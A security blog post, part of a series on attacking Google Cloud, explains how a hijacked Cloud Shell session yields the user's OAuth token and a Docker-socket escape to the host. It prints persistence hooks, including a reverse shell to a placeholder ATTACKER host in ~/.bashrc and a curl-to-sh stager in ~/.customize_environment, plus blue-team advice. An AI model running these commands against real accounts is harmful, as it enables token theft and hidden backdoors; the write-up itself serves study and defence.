Home Attacking Google Cloud — Part 6: The Terminal in the Browser (Cloud Shell as an Attack Tool)
Post
Cancel

Attacking Google Cloud — Part 6: The Terminal in the Browser (Cloud Shell as an Attack Tool)

Attacking Google Cloud — Part 6 of 7 · a series by Zeynep Çelik.

“Just a terminal” ships a container, an open Docker socket, a user token, and a logless shell in one package — which makes it one of the least-watched, most-trusted places in the whole platform.

Service-abuse chapter · everything here is Google’s known, acknowledged behavior — leverage, not a 0-day.

Most people click the little terminal icon in the Google Cloud console, get a shell with gcloud already installed, run a command, and close it. It feels like a throwaway convenience. But that convenience is a fully-featured Linux environment running as the user’s identity, wired into GCP, with a few properties that turn it into an attacker’s playground. Nothing below is a vulnerability — it’s all documented, intended behavior — but the sum of those behaviors is a surface worth understanding from both sides.

Less a terminal, more a small OS environment wired into GCP Less a terminal, more a small OS environment wired into GCP

🔑 Definition — who can open it

A Workspace or Cloud Identity user can open Cloud Shell; service accounts cannot — not even org owners. There are no IAM permissions attached to the service itself, so pre-exploitation here isn’t about permissions at all: it hinges entirely on hijacking a user’s session. Orgs can also disable Cloud Shell centrally, so in some environments you simply won’t find it available.

First move inside: metadata and token

Because Cloud Shell runs on top of the browser session, it carries an OAuth token — which means whoever seizes the shell doesn’t just get a command line, they get the user’s GCP privileges. The first place to look, as in any GCP workload, is the metadata service, and then a quick tokeninfo to confirm exactly what you’re holding. ATT&CK T1552.005

1
2
3
4
curl -s -H "Metadata-Flavor: Google" \
 "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/?recursive=true"
TOKEN=$(gcloud auth print-access-token)
curl -s "https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=$TOKEN"   # whoami

The scopes here almost always include cloud-platform, meaning the token can speak to nearly every GCP API — a far cry from the locked-down access scopes you often see on a hardened VM.

Escaping the container to the host

Cloud Shell runs inside a container, but the Docker socket is left reachable from within it. That single fact lets you launch a privileged container that mounts the host’s root filesystem and uses the host network, and then step straight onto the host. To be clear, this is documented, known behavior — not a bug you’re exploiting — but the reach it gives is worth seeing.

1
2
docker -H unix:///var/run/docker.sock ps
docker run -v /:/host --net=host --pid=host --privileged -it alpine chroot /host bash

An open socket thins the container wall to a faint line An open socket thins the container wall to a faint line

🔑 Honest footnote

The service account behind the Cloud Shell VM usually carries little of note, so temper your expectations. The real value of the escape isn’t a guaranteed prize — it’s that you can’t know what’s on the host without looking. Grab the token, roughly scan its permissions, and move on if there’s nothing there.

Persistence: two hooks, both logless

Now the part that makes Cloud Shell special for an operator. Three properties combine into an ideal hiding spot: the home directory survives 120 days of inactivity (so anything you drop stays a long time), the shell commands you run inside aren’t sent to the audit log, and startup files execute on every session. The classic hook is ~/.bashrc, which runs each time a shell opens. The stronger, Cloud-Shell-specific one is ~/.customize_environment, which runs as root every time the VM is provisioned. ATT&CK T1546 · T1528

1
2
3
4
5
echo 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> ~/.bashrc
cat > ~/.customize_environment <<'EOF'
#!/bin/sh
curl -s https://ATTACKER/stage2 | sh
EOF

Persistence is on the user — the victim spins the loop themselves Persistence is on the user — the victim spins the loop themselves

The beauty of this — from the attacker’s chair — is that the persistence sits on the user, not on a service account. Every time the person opens Cloud Shell to do real GCP work, their token refreshes, and you catch a fresh, fully-scoped token of a real human identity. Unlike a service-account key, that gives you the live privileges of someone who is actively trusted.

🔑 Key points

  • User-bound, not SA-bound. You harvest a real human’s cloud-platform token on every login.
  • Logless at the command level — but the API calls you make from it are logged under the user’s identity.
  • Home persists 120 days — whatever you drop stays around far longer than a typical session.
  • Two hooks: ~/.bashrc on every session, ~/.customize_environment as root on every boot.

🔑 Blue team

If Cloud Shell isn’t needed, disable it org-wide — that’s the cleanest control. Where it stays, the real defence is user-session security: MFA, short session lifetimes, and device checks, because the whole attack starts with a hijacked session. And since the commands themselves aren’t logged, hunt at the API layer instead — unusual administrative calls made under a user identity carrying a cloud-shell user-agent are your signal.


Next in the series → Part 7 · Staying In: Persistence in Google Cloud

This post is licensed under CC BY 4.0 by the author.
Zeynep Çelik

Cloud security researcher focused on offensive GCP and cloud tradecraft — identities, privilege escalation and persistence.

Attacking Google Cloud — Part 5: What a Single Leaked API Key Gives Away

Attacking Google Cloud — Part 7: Staying In (Persistence in Google Cloud)

Comments powered by Disqus.

Powered by 0xhav0c © 2022–2026 - Privacy Policy